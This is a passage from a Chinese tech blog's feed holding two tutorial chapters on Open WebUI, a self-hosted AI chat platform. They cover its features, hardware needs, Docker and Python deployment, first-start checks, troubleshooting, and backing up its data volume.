pull</code></td><td>拉取最新镜像</td></tr><tr><td><code>docker compose -f docker-compose.local.yaml exec open-webui bash</code></td><td>进入容器</td></tr></tbody></table><h3 id="关于-Python-直接安装">关于 Python 直接安装</h3><p>如果你的环境无法使用 Docker（如某些受限的开发机），Open WebUI 也支持通过 Python 直接安装：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用 uv（推荐）</span></span><br><span class="line">uvx --python 3.11 open-webui@latest serve</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或使用 pip</span></span><br><span class="line">pip install open-webui</span><br><span class="line">open-webui serve</span><br></pre></td></tr></table></figure><p>Python 安装后访问 <a href="http://localhost:8080">http://localhost:8080</a> 。但这种方式环境依赖复杂、升级维护不便，<strong>仅建议用于临时体验或开发调试</strong>，不推荐用于长期使用。</p><hr><h2 id="2-3-首次启动与验证">2.3. 首次启动与验证</h2><p>部署完成后，我们需要系统地验证各项功能是否正常工作。</p><h3 id="第一步：确认容器状态">第一步：确认容器状态</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml ps</span><br></pre></td></tr></table></figure><p>关键信息解读：</p><table><thead><tr><th>字段</th><th>正常值</th><th>异常情况</th></tr></thead><tbody><tr><td><strong>STATUS</strong></td><td><code>Up ... (healthy)</code></td><td><code>Restarting</code> = 启动失败在反复重启；<code>unhealthy</code> = 健康检查未通过</td></tr><tr><td><strong>PORTS</strong></td><td><code>0.0.0.0:3000-&gt;8080/tcp</code></td><td>为空 = 端口映射失败</td></tr></tbody></table><p>如果状态不正常，查看日志定位问题：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml logs --<span class="built_in">tail</span> 50</span><br></pre></td></tr></table></figure><h3 id="第二步：访问-Web-界面">第二步：访问 Web 界面</h3><p>打开浏览器，访问 <a href="http://localhost:3000">http://localhost:3000</a> 。</p><p>你会看到 Open WebUI 的欢迎页面。</p><p><strong>如果无法访问</strong>，按以下顺序排查：</p><ol><li><strong>确认容器正在运行</strong>：<code>docker compose -f docker-compose.local.yaml ps</code></li><li><strong>确认端口未被占用</strong>：<code>lsof -i :3000</code>（macOS/Linux）或 <code>netstat -ano | findstr :3000</code>（Windows）</li><li><strong>检查防火墙</strong>：确认没有阻止 3000 端口</li></ol><h3 id="第三步：创建管理员账号">第三步：创建管理员账号</h3><p>首次访问时，你会看到注册页面。<strong>第一个注册的用户自动成为管理员</strong>，拥有系统最高权限。</p><table><thead><tr><th>字段</th><th>说明</th><th>建议</th></tr></thead><tbody><tr><td><strong>姓名</strong></td><td>显示名称</td><td>填写你的名字或 “Admin”</td></tr><tr><td><strong>邮箱</strong></td><td>登录账号</td><td>使用常用邮箱，这是你的登录凭证</td></tr><tr><td><strong>密码</strong></td><td>登录密码</td><td>至少 8 位，包含字母、数字和特殊字符</td></tr></tbody></table><blockquote><p>⚠️ <strong>重要</strong>：请务必牢记管理员的邮箱和密码。忘记密码需要手动操作数据库才能重置。</p></blockquote><p>注册完成后，系统自动登录并进入主界面。</p><h3 id="第四步：连接-AI-模型">第四步：连接 AI 模型</h3><p>根据你的部署方案，模型连接方式不同：</p><p><strong>如果你使用了 Ollama</strong>：</p><p>模型选择器中应该已经显示了你下载的模型。如果没有，进入 <strong>管理员面板</strong> → <strong>设置</strong> → <strong>连接</strong>，确认 Ollama API URL 配置正确，点击刷新。</p><p><strong>如果你只部署了 Open WebUI（方案一）</strong>：</p><p>你需要在配置文件中填写正确的 API 地址和密钥（已在 2.2 节的配置中完成），或者在 <strong>管理员面板</strong> → <strong>设置</strong> → <strong>连接</strong> 中手动配置：</p><ol><li>在 <strong>OpenAI API</strong> 区域填入 API Base URL 和 API Key</li><li>点击保存，然后点击刷新按钮</li><li>连接成功后，模型选择器中会出现可用模型</li></ol><h3 id="第六步：发送测试消息">第六步：发送测试消息</h3><p>选择一个模型，在输入框中输入：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">你好，请用一句话介绍你自己</span><br></pre></td></tr></table></figure><p>如果 AI 正常回复，恭喜你，Open WebUI 已经部署成功！🎉</p><h3 id="常见启动问题排查">常见启动问题排查</h3><p>查看启动日志：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml logs --<span class="built_in">tail</span> 100</span><br></pre></td></tr></table></figure><h4 id="问题-1：HuggingFace-连接失败（SSL-重连错误）">问题 1：HuggingFace 连接失败（SSL 重连错误）</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">requests.exceptions.SSLError: HTTPSConnectionPool(host=&#x27;huggingface.co&#x27;, port=443):</span><br><span class="line">Max retries exceeded ... certificate verify failed</span><br><span class="line">Retrying in 1s [Retry 1/5].</span><br><span class="line">Retrying in 2s [Retry 2/5].</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p><strong>原因</strong>：Open WebUI 启动时会从 HuggingFace 下载 RAG 嵌入模型（<code>sentence-transformers/all-MiniLM-L6-v2</code>），网络无法访问 <code>huggingface.co</code> 时会反复重试。</p><p><strong>影响</strong>：仅影响 RAG 文档问答功能，<strong>不影响</strong> 正常对话。服务最终会跳过下载并正常启动。</p><p><strong>解决方案</strong>：</p><table><thead><tr><th>方案</th><th>操作</th></tr></thead><tbody><tr><td>使用镜像站</td><td>添加环境变量 <code>HF_ENDPOINT=https://hf-mirror.com</code></td></tr><tr><td>配置代理</td><td>添加 <code>HTTP_PROXY</code> 和 <code>HTTPS_PROXY</code> 环境变量</td></tr><tr><td>使用 OpenAI 嵌入</td><td>添加 <code>RAG_EMBEDDING_ENGINE=openai</code></td></tr></tbody></table><h4 id="问题-2：端口被占用">问题 2：端口被占用</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Error: Bind for 0.0.0.0:3000 failed: port is already allocated</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：修改配置文件中的端口映射，或在 <code>.env</code> 中设置 <code>OPEN_WEBUI_PORT=3001</code>。</p><h4 id="问题-3：Ollama-连接失败">问题 3：Ollama 连接失败</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WARNING: Ollama connection failed: Connection refused</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><ul><li>不需要 Ollama：添加环境变量 <code>ENABLE_OLLAMA_API=False</code></li><li>Ollama 在宿主机：确认 Ollama 服务已启动，且配置了 <code>extra_hosts</code> 和正确的 <code>OLLAMA_BASE_URL</code></li></ul><h3 id="快速排查清单">快速排查清单</h3><table><thead><tr><th>检查项</th><th>命令/操作</th><th>期望结果</th></tr></thead><tbody><tr><td>容器是否运行</td><td><code>docker compose ps</code></td><td>状态为 <code>Up (healthy)</code></td></tr><tr><td>端口是否监听</td><td><code>curl -s http://localhost:3000</code></td><td>返回 HTML 内容</td></tr><tr><td>日志是否有错误</td><td><code>docker compose logs --tail 50</code></td><td>无 ERROR 级别日志</td></tr><tr><td>数据卷是否创建</td><td><code>docker volume ls</code></td><td>能看到对应的卷名</td></tr><tr><td>API 连接是否正常</td><td>管理员面板 → 设置 → 连接</td><td>刷新后显示模型列表</td></tr><tr><td>对话是否正常</td><td>发送测试消息</td><td>AI 正常回复</td></tr></tbody></table><hr><h2 id="2-4-数据持久化与备份">2.4. 数据持久化与备份</h2><p>数据持久化是部署中非常重要的一环。如果配置不当，容器重启后所有数据都会丢失。</p><h3 id="Docker-卷的工作原理">Docker 卷的工作原理</h3><p>在前面的部署命令中，我们使用了 <code>-v open-webui:/app/backend/data</code> 参数。这个参数创建了一个名为 <code>open-webui</code> 的 Docker 卷，并将其挂载到容器内的 <code>/app/backend/data</code> 目录。</p><p>Open WebUI 的所有数据都存储在这个目录中，包括：</p><table><thead><tr><th>数据类型</th><th>存储位置</th><th>说明</th></tr></thead><tbody><tr><td><strong>SQLite 数据库</strong></td><td><code>/app/backend/data/webui.db</code></td><td>用户账号、对话记录、系统配置等核心数据</td></tr><tr><td><strong>上传文件</strong></td><td><code>/app/backend/data/uploads/</code></td><td>用户上传的文档、图片等文件</td></tr><tr><td><strong>RAG 向量数据</strong></td><td><code>/app/backend/data/vector_db/</code></td><td>文档问答功能的向量索引</td></tr><tr><td><strong>缓存数据</strong></td><td><code>/app/backend/data/cache/</code></td><td>模型缓存、临时文件等</td></tr><tr><td><strong>密钥文件</strong></td><td><code>/app/backend/data/.webui_secret_key</code></td><td>自动生成的会话加密密钥</td></tr></tbody></table><h3 id="查看-Docker-卷">查看 Docker 卷</h3><p>你可以通过以下命令查看已创建的 Docker 卷：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 列出所有卷</span></span><br><span class="line">docker volume <span class="built_in">ls</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看卷的详细信息（包括在宿主机上的实际存储路径）</span></span><br><span class="line">docker volume inspect open-webui</span><br></pre></td></tr></table></figure><h3 id="备份数据">备份数据</h3><p>定期备份数据是一个好习惯。以下是几种备份方式：</p><p><strong>方法 1：直接复制卷数据</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建备份目录</span></span><br><span class="line"><span class="built_in">mkdir</span> -p ~/open-webui-backup</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用临时容器将卷数据复制出来</span></span><br><span class="line">docker run --<span class="built_in">rm</span> \</span><br><span class="line">  -v open-webui:/data \</span><br><span class="line">  -v ~/open-webui-backup:/backup \</span><br><span class="line">  alpine tar czf /backup/open-webui-backup-$(<span class="built_in">date</span> +%Y%m%d).tar.gz -C /data .</span><br></pre></td></tr></table></figure><p><strong>方法 2：使用绑定挂载代替命名卷</strong></p><p>如果你希望数据直接存储在宿主机的指定目录（方便备份和管理），可以在 Docker Compose 中使用绑定挂载：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">open-webui:</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./data:/app/backend/data</span>    <span class="comment"># 数据存储在当前目录的 data 文件夹中</span></span><br></pre></td></tr></table></figure><p>这样你可以直接对 <code>./data</code> 目录进行备份，无需通过 Docker 命令。</p><p><strong>方法 3：导出数据库</strong></p><p>Open WebUI 使用 SQLite 数据库，你可以直接复制数据库文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 从容器中复制数据库文件</span></span><br><span class="line">docker <span class="built_in">cp</span> open-webui:/app/backend/data/webui.db ~/open-webui-backup/webui.db</span><br></pre></td></tr></table></figure><h3 id="恢复数据">恢复数据</h3><p><strong>从备份恢复</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 停止容器</span></span><br><span class="line">docker compose down</span><br><span class="line"></span><br><span class="line"><span class="comment"># 恢复备份数据到卷</span></span><br><span class="line">docker run --<span class="built_in">rm</span> \</span><br><span class="line">  -v open-webui:/data \</span><br><span class="line">  -v ~/open-webui-backup:/backup \</span><br><span class="line">  alpine sh -c <span class="string">&quot;cd /data &amp;&amp; tar xzf /backup/open-webui-backup-20260210.tar.gz&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 重新启动</span></span><br><span class="line">docker compose up -d</span><br></pre></td></tr></table></figure><h3 id="数据迁移">数据迁移</h3><p>如果你需要将 Open WebUI 迁移到另一台服务器：</p><ol><li>在旧服务器上备份数据（使用上述备份方法）</li><li>将备份文件传输到新服务器</li><li>在新服务器上创建 Docker 卷并恢复数据</li><li>使用相同的 Docker Compose 配置启动服务</li></ol><hr><h2 id="2-5-本章小结">2.5. 本章小结</h2><p>在本章中，我们完成了 Open WebUI 的本地部署，从环境准备到首次验证，走通了完整流程。</p><table><thead><tr><th>核心要点</th><th>关键内容</th></tr></thead><tbody><tr><td><strong>环境准备</strong></td><td>Docker（推荐）或 Python 3.11+，根据操作系统选择安装方式</td></tr><tr><td><strong>部署方式</strong></td><td>Docker Compose 部署（推荐），根据场景选择配置方案</td></tr><tr><td><strong>数据持久化</strong></td><td>通过 Docker 卷或绑定挂载保存数据，定期备份 <code>webui.db</code></td></tr><tr><td><strong>首次验证</strong></td><td>检查容器状态 → 访问页面 → 创建管理员 → 连接模型 → 测试对话</td></tr><tr><td><strong>常见问题</strong></td><td>HuggingFace 网络问题、端口占用、Ollama 连接失败</td></tr></tbody></table><p>现在你已经拥有了一个运行在本地的 Open WebUI 实例。在下一章中，我们将深入配置，包括连接多个 AI 模型、自定义界面、管理用户权限等进阶操作。</p><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/45485.html</id>
    <link href="https://blog.prorisehub.com/posts/45485.html"/>
    <published>2026-02-26T04:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h1>第二章. 本地快速部署</h1>
<p>在上一章中，我们了解了 Open WebUI 是什么。现在让我们动手实践，在本地环境中把它跑起来。本章将专注于本地部署，帮助你在最短时间内体验到 Open WebUI]]>
    </summary>
    <title>第二章. 本地快速部署</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h1>第一章. Open WebUI 快速认知</h1><p>在开始之前，让我们先确认一个问题：你是否曾经想过，能不能在自己的电脑或服务器上搭建一个类似 ChatGPT 的对话界面，既能保护数据隐私，又能自由选择各种 AI 模型？如果你的答案是&quot;是&quot;，那么 Open WebUI 正是为此而生的工具。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260210154130054.png" alt="image-20260210154130054"></p><hr><h2 id="1-1-Open-WebUI-是什么">1.1. Open WebUI 是什么</h2><h3 id="从一个真实场景说起">从一个真实场景说起</h3><p>想象这样一个场景：你是一家公司的技术负责人，团队需要使用 AI 辅助工作，但你面临几个棘手的问题：</p><ul><li>使用 ChatGPT 等商业服务，敏感数据会上传到第三方服务器</li><li>每个月的 API 费用随着团队规模增长而飙升</li><li>不同成员需要使用不同的 AI 模型，但切换起来很麻烦</li><li>想要基于公司内部文档进行问答，但商业服务无法直接接入</li></ul><p>这些问题，正是 Open WebUI 要解决的核心痛点。</p><h3 id="核心定位">核心定位</h3><p>Open WebUI 是一个<strong>自托管的 AI 对话平台</strong>。让我们拆解这个定义：</p><p><strong>自托管</strong>意味着整个系统运行在你自己的服务器或电脑上，所有数据都在你的控制范围内，不会被发送到任何第三方服务器。这就像你在自己家里搭建了一个私人图书馆，而不是去公共图书馆借书。</p><p><strong>AI 对话平台</strong>说明它提供了一个完整的交互界面，让你可以像使用 ChatGPT 一样，通过网页与各种 AI 模型进行对话。但与 ChatGPT 不同的是，你可以自由选择背后使用哪个模型。</p><h3 id="与商业产品的核心区别">与商业产品的核心区别</h3><p>现在思考一个问题：Open WebUI 和 ChatGPT、Claude 这些商业产品有什么本质区别？</p><table><thead><tr><th>对比维度</th><th>ChatGPT/Claude（商业产品）</th><th>Open WebUI（自托管平台）</th></tr></thead><tbody><tr><td><strong>控制权</strong></td><td>你是&quot;租户&quot;，使用别人的服务</td><td>你是&quot;房东&quot;，系统运行在你的环境</td></tr><tr><td><strong>模型选择</strong></td><td>模型固定，无法更换</td><td>可同时接入多个模型，自由切换</td></tr><tr><td><strong>数据隐私</strong></td><td>数据上传到服务商服务器</td><td>所有数据保存在本地，完全隐私</td></tr><tr><td><strong>费用模式</strong></td><td>按月付费或按使用量付费</td><td>软件免费开源，仅需服务器成本</td></tr><tr><td><strong>功能定制</strong></td><td>功能由服务商决定</td><td>可根据需求深度定制</td></tr><tr><td><strong>离线使用</strong></td><td>必须联网才能使用</td><td>可完全离线运行（使用本地模型）</td></tr></tbody></table><p>用一个更直观的比喻：ChatGPT 就像租房住，Open WebUI 就像自己买房装修。租房省事但受限制，买房麻烦但自由度高。</p><h3 id="核心功能一览">核心功能一览</h3><p>Open WebUI 不仅仅是一个简单的对话界面，它提供了一整套企业级的 AI 应用能力：</p><table><thead><tr><th>功能模块</th><th>核心能力</th><th>典型应用场景</th></tr></thead><tbody><tr><td><strong>多模型支持</strong></td><td>同时连接 Ollama、OpenAI、Claude、Gemini 等多个模型</td><td>对比不同模型的回答质量，选择最适合的模型</td></tr><tr><td><strong>RAG 文档问答</strong></td><td>上传文档，让 AI 基于文档内容回答问题</td><td>基于公司产品手册、技术文档进行智能问答</td></tr><tr><td><strong>多用户协作</strong></td><td>创建多个用户账号，设置不同权限</td><td>团队共享 AI 资源，管理员控制访问权限</td></tr><tr><td><strong>图像生成</strong></td><td>集成 DALL-E、ComfyUI 等图像生成工具</td><td>根据文字描述生成图片，辅助设计工作</td></tr><tr><td><strong>图像分析</strong></td><td>支持多模态模型，上传图片进行分析</td><td>分析图表、识别物体、提取图片中的文字</td></tr><tr><td><strong>语音交互</strong></td><td>语音输入和语音输出</td><td>解放双手，通过语音与 AI 对话</td></tr><tr><td><strong>网络搜索</strong></td><td>集成搜索引擎，获取最新信息</td><td>让 AI 回答时参考最新的网络资料</td></tr><tr><td><strong>Pipelines 插件</strong></td><td>通过 Python 代码扩展功能</td><td>添加自定义功能，如内容过滤、数据处理</td></tr></tbody></table><h3 id="适用场景分析">适用场景分析</h3><p>让我们看看 Open WebUI 在不同场景下的应用：</p><p><strong>个人使用场景</strong>：</p><ul><li>你想在自己的电脑上运行开源 AI 模型（如 Llama、Qwen），但命令行界面太不友好</li><li>你有 OpenAI API 密钥，想要一个更灵活的界面来使用</li><li>你想保护隐私，不希望对话内容被第三方服务商看到</li><li>你想基于个人笔记、学习资料进行 AI 问答</li></ul><p><strong>团队使用场景</strong>：</p><ul><li>小团队（5-20 人）需要共享 AI 资源，但不想每人都购买商业服务</li><li>需要基于团队内部文档（项目文档、会议记录）进行智能问答</li><li>需要控制不同成员的访问权限，避免敏感信息泄露</li><li>需要统一管理 API 密钥，避免每个人单独配置</li></ul><p><strong>企业使用场景</strong>：</p><ul><li>需要部署在内网环境，确保数据不出公司网络</li><li>需要接入多个 AI 模型，根据不同任务选择最合适的模型</li><li>需要与企业现有系统集成（如 LDAP 认证、企业微信）</li><li>需要详细的使用日志和审计功能</li></ul><hr><h2 id="1-2-部署方式选择">1.2. 部署方式选择</h2><p>Open WebUI 提供了多种部署方式，我们需要根据实际需求选择最合适的方案。</p><h3 id="三种主要部署方式">三种主要部署方式</h3><table><thead><tr><th>部署方式</th><th>适用场景</th><th>优势</th><th>劣势</th><th>推荐指数</th></tr></thead><tbody><tr><td><strong>Docker 部署</strong></td><td>个人、团队、企业</td><td>一键启动，环境隔离，易于维护</td><td>需要学习 Docker 基础</td><td>⭐⭐⭐⭐⭐</td></tr><tr><td><strong>Python 安装</strong></td><td>个人快速体验</td><td>安装简单，无需 Docker</td><td>环境依赖复杂，难以维护</td><td>⭐⭐⭐</td></tr><tr><td><strong>Kubernetes 部署</strong></td><td>大型企业</td><td>高可用，自动扩缩容</td><td>配置复杂，需要 K8s 知识</td><td>⭐⭐⭐⭐</td></tr></tbody></table><h3 id="Docker-部署（本教程重点）">Docker 部署（本教程重点）</h3><p>我们强烈推荐使用 Docker 部署，原因如下：</p><p><strong>环境隔离</strong>：Docker 将 Open WebUI 及其所有依赖打包在一个容器中，不会污染你的系统环境。即使出现问题，删除容器重新启动即可，不会影响其他软件。</p><p><strong>一键启动</strong>：只需要一条命令，就能启动完整的 Open WebUI 服务，无需手动安装 Python、配置数据库等繁琐步骤。</p><p><strong>易于维护</strong>：更新版本时，只需要拉取新的镜像，重新启动容器即可。数据通过 Docker 卷持久化，不会因为容器重建而丢失。</p><p><strong>跨平台支持</strong>：Docker 在 Windows、macOS、Linux 上都能运行，部署步骤完全一致。</p><h3 id="Python-安装">Python 安装</h3><p>如果你不想使用 Docker，也可以通过 Python 直接安装。这种方式适合快速体验，但不推荐用于生产环境。</p><p>Python 安装有两种方式：</p><p><strong>使用 uv（推荐）</strong>：uv 是一个现代化的 Python 运行时管理器，能自动处理环境依赖。</p><p><strong>使用 pip</strong>：传统的 Python 包管理器，需要手动管理虚拟环境。</p><h3 id="Kubernetes-部署">Kubernetes 部署</h3><p>如果你的企业已经有 Kubernetes 集群，可以使用 Helm Chart 或 Kustomize 部署 Open WebUI。这种方式适合大规模部署，支持高可用和自动扩缩容。</p><p>Kubernetes 部署的优势：</p><ul><li>多副本部署，单个实例故障不影响服务</li><li>自动负载均衡，分散用户请求</li><li>与企业现有的监控、日志系统集成</li></ul><p>但 Kubernetes 部署的门槛较高，需要对 K8s 有一定了解。如果你的团队规模不大（少于 50 人），使用 Docker Compose 部署就足够了。</p><hr><h2 id="1-3-硬件与环境要求">1.3. 硬件与环境要求</h2><p>在开始部署之前，我们需要确认硬件和环境是否满足要求。</p><h3 id="不同场景的配置要求">不同场景的配置要求</h3><table><thead><tr><th>使用场景</th><th>CPU</th><th>内存</th><th>硬盘</th><th>GPU</th><th>说明</th></tr></thead><tbody><tr><td><strong>仅使用 API</strong></td><td>2 核</td><td>2 GB</td><td>10 GB</td><td>不需要</td><td>只连接 OpenAI 等 API，不运行本地模型</td></tr><tr><td><strong>小型本地模型</strong></td><td>4 核</td><td>8 GB</td><td>50 GB</td><td>不需要</td><td>运行 1B-7B 参数的模型（如 Qwen2.5-7B）</td></tr><tr><td><strong>中型本地模型</strong></td><td>8 核</td><td>16 GB</td><td>100 GB</td><td>推荐</td><td>运行 7B-14B 参数的模型</td></tr><tr><td><strong>大型本地模型</strong></td><td>16 核</td><td>32 GB</td><td>200 GB</td><td>必需</td><td>运行 30B+ 参数的模型，需要 GPU 加速</td></tr><tr><td><strong>团队使用</strong></td><td>8 核</td><td>16 GB</td><td>200 GB</td><td>可选</td><td>10-50 人团队，主要使用 API</td></tr><tr><td><strong>企业使用</strong></td><td>16 核+</td><td>32 GB+</td><td>500 GB+</td><td>推荐</td><td>50+ 人，需要高可用部署</td></tr></tbody></table><h3 id="关键说明">关键说明</h3><p><strong>仅使用 API 的场景</strong>：如果你只打算连接 OpenAI、Claude 等商业 API，不运行本地模型，那么硬件要求非常低。一台普通的云服务器（2 核 2 GB）就足够了。</p><p><strong>运行本地模型的场景</strong>：如果你想使用 Ollama 运行开源模型，硬件要求会显著提高。模型参数越大，需要的内存和 GPU 显存越多。</p><p><strong>GPU 的作用</strong>：GPU 主要用于加速本地模型的推理速度。如果没有 GPU，模型仍然可以运行，但速度会慢很多。对于 7B 以下的小模型，CPU 推理勉强可用；对于更大的模型，强烈建议使用 GPU。</p><h3 id="操作系统要求">操作系统要求</h3><p>Open WebUI 支持以下操作系统：</p><table><thead><tr><th>操作系统</th><th>Docker 支持</th><th>Python 安装支持</th><th>推荐程度</th></tr></thead><tbody><tr><td><strong>Ubuntu 20.04+</strong></td><td>✅</td><td>✅</td><td>⭐⭐⭐⭐⭐</td></tr><tr><td><strong>Debian 11+</strong></td><td>✅</td><td>✅</td><td>⭐⭐⭐⭐⭐</td></tr><tr><td><strong>CentOS 7+</strong></td><td>✅</td><td>✅</td><td>⭐⭐⭐⭐</td></tr><tr><td><strong>macOS 12+</strong></td><td>✅</td><td>✅</td><td>⭐⭐⭐⭐</td></tr><tr><td><strong>Windows 10+</strong></td><td>✅</td><td>✅</td><td>⭐⭐⭐</td></tr></tbody></table><p><strong>Linux 系统</strong> 是最推荐的选择，特别是 Ubuntu 和 Debian。这些系统在服务器环境中最常见，Docker 支持也最完善。</p><p><strong>macOS 系统</strong> 适合个人开发和测试，特别是 Apple Silicon（M1/M2/M3）芯片的 Mac，可以高效运行本地模型。</p><p><strong>Windows 系统</strong> 也可以使用，但需要安装 WSL2（Windows Subsystem for Linux）来运行 Docker。Windows 原生的 Docker Desktop 在某些场景下可能会遇到网络和文件系统的兼容性问题。</p><h3 id="网络环境要求">网络环境要求</h3><p><strong>基础网络要求</strong>：</p><ul><li>如果只使用本地模型，Open WebUI 可以完全离线运行</li><li>如果使用 OpenAI 等 API，需要能访问对应的 API 地址</li><li>如果使用网络搜索功能，需要能访问搜索引擎</li></ul><p><strong>特殊功能的网络要求</strong>：</p><ul><li>语音功能（STT/TTS）需要 HTTPS 连接，浏览器才会允许访问麦克风</li><li>拉取 Open WebUI 镜像需要能访问 <code>ghcr.io</code>（GitHub Container Registry，非 Docker Hub）</li><li>从 Ollama 下载模型需要能访问 <code>ollama.com</code></li><li>RAG 文档问答功能首次启动时会从 <code>huggingface.co</code> 下载嵌入模型（<code>sentence-transformers/all-MiniLM-L6-v2</code>），如果网络无法访问 HuggingFace，启动日志会出现 SSL 重连错误，但不影响其他功能的正常使用</li></ul><p>如果你的网络环境受限（如企业内网、代理环境），可以考虑：</p><ul><li>使用代理服务器（注意 Docker 容器内的代理配置与宿主机独立）</li><li>提前下载好 Docker 镜像和 Ollama 模型</li><li>配置镜像加速器</li><li>对于 HuggingFace 访问问题，可以提前下载嵌入模型到本地，或配置 <code>HF_ENDPOINT</code> 环境变量使用镜像站</li></ul><hr><h2 id="1-4-本章小结">1.4. 本章小结</h2><p>在本章中，我们完成了对 Open WebUI 的初步认知，明确了它的定位、能力和适用场景。</p><table><thead><tr><th>核心要点</th><th>关键内容</th></tr></thead><tbody><tr><td><strong>项目定位</strong></td><td>自托管的 AI 对话平台，数据隐私可控，模型自由选择</td></tr><tr><td><strong>核心优势</strong></td><td>多模型支持、RAG 文档问答、多用户协作、完全开源</td></tr><tr><td><strong>部署方式</strong></td><td>Docker 部署（推荐）、Python 安装、Kubernetes 部署</td></tr><tr><td><strong>硬件要求</strong></td><td>仅用 API 需 2 核 2 GB，运行本地模型需 8 GB+ 内存</td></tr></tbody></table><p>现在你应该已经理解了 Open WebUI 是什么，以及它能为你解决哪些问题。在下一章中，我们将进入实战环节，从本地快速部署开始，一步步搭建起你自己的 AI 对话平台。</p><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/56629.html</id>
    <link href="https://blog.prorisehub.com/posts/56629.html"/>
    <published>2026-02-26T03:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h1>第一章. Open WebUI 快速认知</h1>
<p>在开始之前，让我们先确认一个问题：你是否曾经想过，能不能在自己的电脑或服务器上搭建一个类似 ChatGPT]]>
    </summary>
    <title>第一章. Open WebUI 快速认知</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="后端技术" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/"/>
    <category term="Java" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/"/>
    <category term="Spring系列" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/"/>
    <category term="登录注册系列" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E7%B3%BB%E5%88%97/"/>
    <category term="Sa-Token" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E7%B3%BB%E5%88%97/Sa-Token/"/>
    <category term="Spring生态篇" scheme="https://blog.prorisehub.com/tags/Spring%E7%94%9F%E6%80%81%E7%AF%87/"/>
